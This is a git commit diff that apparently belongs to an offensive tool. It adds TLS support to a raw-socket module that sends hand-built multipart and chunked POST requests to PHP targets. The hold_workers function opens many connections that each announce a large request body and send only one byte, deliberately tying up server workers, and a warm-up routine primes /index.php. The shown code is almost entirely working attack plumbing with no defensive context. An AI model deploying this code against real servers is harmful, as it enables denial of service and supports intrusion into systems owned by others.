feat(wire): https target support with certificate verification; document reverse-proxy limitation
ci / macos-latest / py3.9 (push) Canceled after 0s
ci / macos-latest / py3.12 (push) Canceled after 0s
ci / ubuntu-latest / py3.9 (push) Canceled after 0s
ci / ubuntu-latest / py3.12 (push) Canceled after 0s
ci / windows-latest / py3.9 (push) Canceled after 0s
ci / windows-latest / py3.12 (push) Canceled after 0s

This commit is contained in:
ZSecurity
2026-10-24 14:19:57 +07:00
parent e8f00033aa
commit 663481efe2
6 changed files with 236 additions and 32 deletions
+19 -6
View File
@@ -1,10 +1,22 @@
import socket
import ssl
import time
import urllib.parse
BOUNDARY = b"C" * 10
def connect(host, port, timeout=5.0, tls=False, insecure=False):
sock = socket.create_connection((host, port), timeout=timeout)
if not tls:
return sock
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
return ctx.wrap_socket(sock, server_hostname=host)
def frame_chunked(path, body, host, boundary=BOUNDARY, chunk=65536):
hdr = ("POST %s HTTP/1.1\r\nHost: %s\r\n"
"Content-Type: multipart/form-data; boundary=%s\r\n"
@@ -25,9 +37,9 @@ def frame_plain(path, body, host, boundary=BOUNDARY):
(path, host, boundary.decode(), len(body))).encode() + body
def send(host, port, blob, timeout=600.0, limit=8 << 20):
def send(host, port, blob, timeout=600.0, limit=8 << 20, tls=False, insecure=False):
resp = bytearray()
sock = socket.create_connection((host, port), timeout=timeout)
sock = connect(host, port, timeout, tls, insecure)
sock.settimeout(timeout)
try:
sock.sendall(blob)
@@ -57,19 +69,20 @@ def status(resp):
return resp.split(b"\r\n", 1)[0][:80].decode("latin1", "replace")
def warm(host, port, path="/index.php"):
sock = socket.create_connection((host, port), timeout=5)
def warm(host, port, path="/index.php", tls=False, insecure=False):
sock = connect(host, port, 5, tls, insecure)
sock.sendall(("GET %s HTTP/1.0\r\nHost: x\r\n\r\n" % path).encode())
sock.recv(1024)
sock.close()
def hold_workers(host, port, count, body_len=1048576, path="/index.php"):
def hold_workers(host, port, count, body_len=1048576, path="/index.php",
tls=False, insecure=False):
held = []
if count <= 0:
return held
for _ in range(count):
sock = socket.create_connection((host, port), timeout=5)
sock = connect(host, port, 5, tls, insecure)
sock.sendall(("POST %s HTTP/1.1\r\nHost: %s\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: %d\r\n\r\nx" % (path, host, body_len)).encode())